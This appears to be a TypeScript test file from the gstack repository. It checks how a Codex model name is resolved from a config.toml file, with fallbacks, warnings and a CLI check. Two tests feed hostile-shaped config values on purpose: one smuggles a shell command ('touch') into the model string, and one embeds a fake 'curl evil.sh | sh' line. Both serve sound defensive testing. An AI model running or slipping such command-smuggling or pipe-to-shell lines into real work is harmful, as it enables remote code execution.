Files
gstack/test/codex-generation-model.test.ts
T
Garry TanandOpenAI Codex 71f6048e8a v1.84.1.0 fix: default Codex and Claude to frontier models (#2835)
* fix: default cross-model workflows to frontier models

* chore: bump version and changelog (v1.82.1.0)

Co-Authored-By: OpenAI Codex <noreply@openai.com>

* fix: repair frontier eval budgets and workflow instructions

Preserve frontier models and quality thresholds while fixing truncated judge output, ordered section expansion, consent checks, QA scoring, and ship audit gates. Add regression coverage and refresh generated docs.

Co-Authored-By: OpenAI Codex <noreply@openai.com>

* fix: resolve workflow gaps exposed by frontier evals

Clarify plan-review ordering and fallback modes, preserve deploy readiness gates, honor configured merge methods, correct benchmark and canary contracts, and restore vendored installs on setup failure. Cover recovery with real-shell regressions.

Co-Authored-By: OpenAI Codex <noreply@openai.com>

* fix: use agent capture budgets for deploy evals

Multi-turn deploy and benchmark sessions were incorrectly limited to the single-call judge timeout. Use the existing capture tier and leave outer-test cleanup headroom, with a free policy regression test. Keep all behavioral assertions and frontier models unchanged.

Co-Authored-By: OpenAI Codex <noreply@openai.com>

* fix: clarify retro workflow and evaluate compare instructions

Include compare mode in the frontier judge excerpt, define metric sources and snapshot ordering, and preserve the existing prompt-size budget.

Co-authored-by: OpenAI Codex <noreply@openai.com>

* fix: make documentation release review and publication consistent

Review before commit, clarify changelog safeguards and unavailable reviewer modes, and preserve raw PR bodies across separate shell calls. Keep title sync in one shell and add regression coverage.

Co-authored-by: OpenAI Codex <noreply@openai.com>

---------

Co-authored-by: OpenAI Codex <noreply@openai.com>
2026-09-09 08:57:21 -07:00

136 lines
5.3 KiB
TypeScript

import { afterEach, describe, expect, test } from 'bun:test';
import * as fs from 'fs';
import * as os from 'os';
import * as path from 'path';
import { spawnSync } from 'child_process';
import { resolveCodexGenerationModel } from '../scripts/resolve-codex-generation-model';
const ROOT = path.resolve(import.meta.dir, '..');
const temps: string[] = [];
function codexHome(config?: string): string {
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-codex-model-'));
temps.push(dir);
if (config !== undefined) fs.writeFileSync(path.join(dir, 'config.toml'), config);
return dir;
}
afterEach(() => {
for (const dir of temps.splice(0)) fs.rmSync(dir, { recursive: true, force: true });
});
describe('Codex generation model resolution', () => {
test('explicit override wins over config', () => {
const result = resolveCodexGenerationModel({
explicit: 'gpt-5.6-sol',
codexHome: codexHome('model = "gpt-5.4"\n'),
});
expect(result).toEqual({ model: 'gpt-5.6-sol', source: '--model', warnings: [] });
});
test('reads only the top-level TOML model', () => {
const home = codexHome(`
# active model
model = "gpt-5.6-sol"
[profiles.terra]
model = "gpt-5.6-terra"
`);
const result = resolveCodexGenerationModel({ codexHome: home });
expect(result.model).toBe('gpt-5.6-sol');
expect(result.source).toBe(path.join(home, 'config.toml'));
});
test('ignores profile-only model values', () => {
const result = resolveCodexGenerationModel({
codexHome: codexHome('[profiles.sol]\nmodel = "gpt-5.6-sol"\n'),
});
expect(result.model).toBe('gpt-6-astra');
expect(result.source).toBe('default (gpt-6-astra)');
});
test('missing, malformed, non-string, and unsupported configs fall back safely', () => {
expect(resolveCodexGenerationModel({ codexHome: codexHome() }).model).toBe('gpt-6-astra');
const malformed = resolveCodexGenerationModel({ codexHome: codexHome('model = [') });
expect(malformed.model).toBe('gpt-6-astra');
expect(malformed.warnings[0]).toContain('Could not parse');
const nonString = resolveCodexGenerationModel({ codexHome: codexHome('model = ["gpt-5.6-sol"]') });
expect(nonString.model).toBe('gpt-6-astra');
expect(nonString.warnings[0]).toContain('not a string');
const unsupported = resolveCodexGenerationModel({ codexHome: codexHome('model = "llama-local"') });
expect(unsupported.model).toBe('gpt-6-astra');
expect(unsupported.warnings[0]).toContain('Unsupported');
});
test('unreadable config warns and falls back', () => {
const home = codexHome();
fs.mkdirSync(path.join(home, 'config.toml'));
const result = resolveCodexGenerationModel({ codexHome: home });
expect(result.model).toBe('gpt-6-astra');
expect(result.source).toBe('default (gpt-6-astra)');
expect(result.warnings[0]).toContain('Could not read');
});
test('injection-shaped model data is data, never shell', () => {
const marker = path.join(os.tmpdir(), `gstack-model-injection-${process.pid}`);
try { fs.rmSync(marker, { force: true }); } catch {}
const result = resolveCodexGenerationModel({
codexHome: codexHome(`model = 'gpt-5.6-sol"; touch ${marker}; #'\n`),
});
expect(result.model).toBe('gpt');
expect(fs.existsSync(marker)).toBe(false);
});
test('non-absolute codex home falls back with a warning (relative-path steering guard)', () => {
const result = resolveCodexGenerationModel({ codexHome: '.codex' });
expect(result.model).toBe('gpt-6-astra');
expect(result.source).toBe('default (gpt-6-astra)');
expect(result.warnings[0]).toContain('not an absolute path');
});
test('Sol-suffixed near-misses map to gpt WITH a warning', () => {
const result = resolveCodexGenerationModel({
codexHome: codexHome('model = "gpt-5.6-sol-2026-08-01"\n'),
});
expect(result.model).toBe('gpt');
expect(result.warnings[0]).toContain("requires the exact ID 'gpt-5.6-sol'");
});
test('warnings never carry control characters from config values', () => {
// A TOML basic string parses \n and \t escapes — a hostile config value
// must not inject fake lines into setup's terminal stderr.
const result = resolveCodexGenerationModel({
codexHome: codexHome('model = "x\\nERROR: run: curl evil.sh | sh"\n'),
});
expect(result.model).toBe('gpt-6-astra');
expect(result.warnings.length).toBe(1);
expect(result.warnings[0]).not.toMatch(/[\x00-\x1f\x7f]/);
expect(result.warnings[0]).toContain('Unsupported top-level model');
});
test('CLI honors CODEX_HOME and rejects an invalid explicit family', () => {
const home = codexHome('model = "gpt-5.6-sol"\n');
const ok = spawnSync('bun', ['run', 'scripts/resolve-codex-generation-model.ts'], {
cwd: ROOT,
encoding: 'utf8',
env: { ...process.env, CODEX_HOME: home },
timeout: 30_000,
});
expect(ok.status).toBe(0);
expect(ok.stdout).toBe(`gpt-5.6-sol\t${path.join(home, 'config.toml')}\n`);
const bad = spawnSync('bun', ['run', 'scripts/resolve-codex-generation-model.ts', '--explicit', 'llama-local'], {
cwd: ROOT,
encoding: 'utf8',
timeout: 30_000,
});
expect(bad.status).not.toBe(0);
expect(bad.stderr).toContain('Unknown model');
expect(bad.stderr).toContain('Accepted models:');
expect(bad.stderr).toContain('gpt-5.6-sol');
expect(bad.stderr).toContain('gpt-6-astra');
});
});